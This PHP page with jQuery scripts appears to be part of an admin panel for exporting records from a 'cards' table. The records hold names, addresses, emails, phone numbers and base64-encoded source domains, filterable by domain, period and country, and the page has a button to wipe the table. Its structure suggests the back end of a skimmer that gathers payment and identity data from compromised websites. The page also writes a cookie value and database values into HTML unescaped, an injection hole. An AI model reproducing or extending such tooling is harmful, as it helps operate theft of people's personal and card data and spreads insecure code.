<?php

include('../conf.php');

$SQL=mysqli_query($connect,'SELECT DISTINCT domain FROM cards');

$domains='';

while($r=mysqli_fetch_assoc($SQL)){
  $domain=base64_decode($r['domain']);
  $domains.='<option value="'.$domain.'">'.$domain.'</option>';
}

?>

<form action="./export.php" method="POST">
            <div class="col-lg-4">
              <div id="form" class="bs-component">
                <div class="panel panel-default">
                  <div class="panel-body">
                    <div class="form-group">
                      <label class="control-label" for="inputSmall"><?=$GLOBALS['lang']['f5'];?></label>
                      <select onclick="onPeriod();" class="form-control" id="period" name="period">
                        <option value="a"><?=$GLOBALS['lang']['f6'];?></option>
                        <option value="w"><?=$GLOBALS['lang']['f7'];?></option>
                        <option value="m"><?=$GLOBALS['lang']['f8'];?></option>
                      </select>
                    </div>


<div class="form-group checkbox-columns">
  <div class="checkbox checkbox-inline checkbox-success">
    <input onclick="onChecked(this.name);" name="name" type="checkbox" class="styled" id="name" />
    <label for="name"><?=$GLOBALS['lang']['tab12'];?></label>
  </div>

  <div class="checkbox checkbox-inline checkbox-success">
    <input onclick="onChecked(this.name);" name="lastname" type="checkbox" class="styled" id="lastname" />
    <label for="lastname"><?=$GLOBALS['lang']['tab13'];?></label>
  </div>

  <div class="checkbox checkbox-inline checkbox-success">
    <input onclick="onChecked(this.name);" name="address" type="checkbox" class="styled" id="address" />
    <label for="address"><?=$GLOBALS['lang']['tab14'];?></label>
  </div>

  <div class="checkbox checkbox-inline checkbox-success">
    <input onclick="onChecked(this.name);" name="state" type="checkbox" class="styled" id="state" />
    <label for="state"><?=$GLOBALS['lang']['tab6'];?></label>
  </div>

  <div class="checkbox checkbox-inline checkbox-success">
    <input onclick="onChecked(this.name);" name="country" type="checkbox" class="styled" id="country" />
    <label for="country"><?=$GLOBALS['lang']['tab5'];?></label>
  </div>

  <div class="checkbox checkbox-inline checkbox-success">
    <input onclick="onChecked(this.name);" name="city" type="checkbox" class="styled" id="city" />
    <label for="city"><?=$GLOBALS['lang']['tab7'];?></label>
  </div>

  <div class="checkbox checkbox-inline checkbox-success">
    <input onclick="onChecked(this.name);" name="email" type="checkbox" class="styled" id="email" />
    <label for="email"><?=$GLOBALS['lang']['tab17'];?></label>
  </div>

  <div class="checkbox checkbox-inline checkbox-success">
    <input onclick="onChecked(this.name);" name="postcode" type="checkbox" class="styled" id="postcode" />
    <label for="postcode"><?=$GLOBALS['lang']['tab8'];?></label>
  </div>

  <div class="checkbox checkbox-inline checkbox-success">
    <input onclick="onChecked(this.name);" name="street" type="checkbox" class="styled" id="street" />
    <label for="street"><?=$GLOBALS['lang']['tab9'];?></label>
  </div>

  <div class="checkbox checkbox-inline checkbox-success">
    <input onclick="onChecked(this.name);" name="phone" type="checkbox" class="styled" id="phone" />
    <label for="phone"><?=$GLOBALS['lang']['tab10'];?></label>
  </div>

  <div class="checkbox checkbox-inline checkbox-success">
    <input onclick="onChecked(this.name);" name="domain" type="checkbox" class="styled" id="domain" />
    <label for="domain"><?=$GLOBALS['lang']['f9'];?></label>
  </div>

  <div class="checkbox checkbox-inline checkbox-success">
    <input onclick="onChecked(this.name);" name="time" type="checkbox" class="styled" id="time" />
    <label for="time"><?=$GLOBALS['lang']['tab22'];?></label>
  </div>
</div>


                           
                    <div class="form-group">
                      <label class="control-label" for="inputSmall"><?=$GLOBALS['lang']['f9'];?></label>
                      <select onclick="onDomain();" class="form-control" id="setDomain" name="setDomain">
                        <option value="a"><?=$GLOBALS['lang']['f11'];?></option>
                        <?=$domains;?>
                      </select>
                    </div>

                    <div class="form-group">
                      <label class="control-label" for="inputSmall"><?=$GLOBALS['lang']['f10'];?></label>
                      <input name="countries" onblur="$.cookie(this.name,this.value, { expires: 365 });" value="<?=$_COOKIE['countries'];?>" class="form-control" type="text" id="countries" />
                    </div>


                    <div class="form-group">
                    <div class="checkbox checkbox-inline checkbox-success">
                                    <input onclick="onChecked(this.name);" name="deleted" type="checkbox" class="styled" id="deleted" />
                                    <label for="deleted"> <?=$GLOBALS['lang']['tri11'];?> </label>
                    </div>
                    </div>

                    <div class="form-group align-center">
                              <button type="submit" class="btn btn-primary"><?=$GLOBALS['lang']['tri10'];?></button>
                    </div>

                                
                      </div>
                      </div>

                  </div>
                </div>
              </div>
            </div>
</form>


		<div class="col-lg-4">
			<div id="form" class="bs-component">
                <ul class="list-group">
                  <li class="list-group-item">
                    <?=$GLOBALS['lang']['m6'];?><span id="all" class="align-right">
                    <a onclick="del('all');" class="btn btn-primary btn-sm"><?=$GLOBALS['lang']['tri6'];?></a>
                  </span>
                  </li>
                  
                  <li class="list-group-item">
                    <?=$GLOBALS['lang']['m7'];?><span id="new" class="align-right">
                    <a href="./export.php?all" class="btn btn-primary btn-sm"><?=$GLOBALS['lang']['tri10'];?></a>
                  </span>
                  </li>
                </ul>
			</div>
		</div>

<style type="text/css">
.align-right{
  text-align: right;
  float: right;
  margin: -4px;
}

.checkbox-columns {
  display: flex;
  flex-wrap: wrap;
  margin: -5px;
  margin-bottom: 5px;
}

.checkbox-columns .checkbox {
  width: 33.3333%;
  padding: 3px 25px;
  margin: 0;
  box-sizing: border-box;
  white-space: nowrap;
  overflow: hidden;
  text-overflow: ellipsis;
  display: flex;
  align-items: center;
}

</style>

<script language="JavaScript">

checkCheckBox(); checkPeriod(); checkDomain();

function del(value){
  $("#"+value).html(preload);
  $.post("./inc/ajax/cards/truncate.php",{
    login: login,
    SESSION: session,
    value: value
    }).done(function(data){
      $('#'+value).html(data);
      //treload();
    }
  );
}

function onPeriod(){
  if($("#period").val()=='w'){
    $.cookie("period",'w', { expires: 365 });
  }if($("#period").val()=='m'){
    $.cookie("period",'m', { expires: 365 });
  }if($("#period").val()=='a'){
    $.cookie("period",'a', { expires: 365 });
  }
}

function onDomain(){
  $.cookie("setDomain",$("#setDomain").val(), { expires: 365 });
}

function onChecked(name){
  if($("#"+name).prop('checked')){
    $.cookie(name,'1', { expires: 365 });
  }else{
    $.cookie(name,null);
  }
}

function checkDomain(){
  $("#setDomain").val($.cookie("setDomain"));
}

function checkCheckBox(){
  if($.cookie("name")=="1"){
    $("#name").attr("checked","checked");
  }if($.cookie("lastname")=="1"){
    $("#lastname").attr("checked","checked");
  }if($.cookie("address")=="1"){
    $("#address").attr("checked","checked");
  }if($.cookie("state")=="1"){
    $("#state").attr("checked","checked");
  }if($.cookie("country")=="1"){
    $("#country").attr("checked","checked");
  }if($.cookie("city")=="1"){
    $("#city").attr("checked","checked");
  }

  if($.cookie("email")=="1"){
    $("#email").attr("checked","checked");
  }if($.cookie("postcode")=="1"){
    $("#postcode").attr("checked","checked");
  }if($.cookie("street")=="1"){
    $("#street").attr("checked","checked");
  }if($.cookie("phone")=="1"){
    $("#phone").attr("checked","checked");
  }if($.cookie("domain")=="1"){
    $("#domain").attr("checked","checked");
  }if($.cookie("time")=="1"){
    $("#time").attr("checked","checked");
  }if($.cookie("deleted")=="1"){
    $("#deleted").attr("checked","checked");
  }
}


function checkPeriod(){
  if($.cookie("period")=="w"){
    $("#period").val('w');
  }else if($.cookie("period")=="m"){
    $("#period").val('m');
  }else if($.cookie("period")=="a"){
    $("#period").val('a');
  }else{
    $("#period").val('a');
  }
}

</script><?php mysqli_close($connect); ?>